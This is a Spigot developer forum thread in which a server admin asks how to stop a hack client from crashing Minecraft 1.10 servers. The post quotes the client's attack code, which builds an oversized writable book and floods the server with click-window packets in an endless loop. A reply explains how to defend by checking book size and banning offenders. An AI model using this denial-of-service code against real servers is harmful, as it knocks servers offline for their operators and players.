Cancle Book Create Packets Bug Crash Server

Discussion in 'Spigot Plugin Development' started by MrAxeTv, Apr 15, 2019.

  1. Hello there I have a problem I don't know will anyone to help me to block Jassica Hack client to crash 1.10 server
    Players can send packets to server make lagg and crash it
    I didn't work a lot with packets so I will be really greatful if any one could help me to block it
    here is code from client and command which does the work
    Code (Text):
        if (args[0].equalsIgnoreCase(".figure2")) {
          new Thread()
            public void run()
                Wrapper.msg("Attack!", true);
                ItemStack bookObj = new ItemStack(Items.WRITABLE_BOOK);
                NBTTagList list = new NBTTagList();
                NBTTagCompound tag = new NBTTagCompound();
                String author = Minecraft.getMinecraft().getSession().getUsername();
                String title = "Title";
                String size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
                for (int i = 0; i < 50; i++)
                  String siteContent = size;
                  NBTTagString tString = new NBTTagString(siteContent);
                tag.setString("author", author);
                tag.setString("title", title);
                tag.setTag("pages", list);
                bookObj.setTagInfo("pages", list);
                for (;;)
                  Wrapper.sendPacket(new CPacketClickWindow(0, 0, 0, ClickType.PICKUP, bookObj, (short)0));
              catch (Exception e)
  2. So look at the code. First you will see, that the item is a Writable Book. So now you look at the size of the book. Its very very long. So what you have to do is just check if the size is to big. If it is to big, so you remove the book from the inventory and ban him or what ever you want.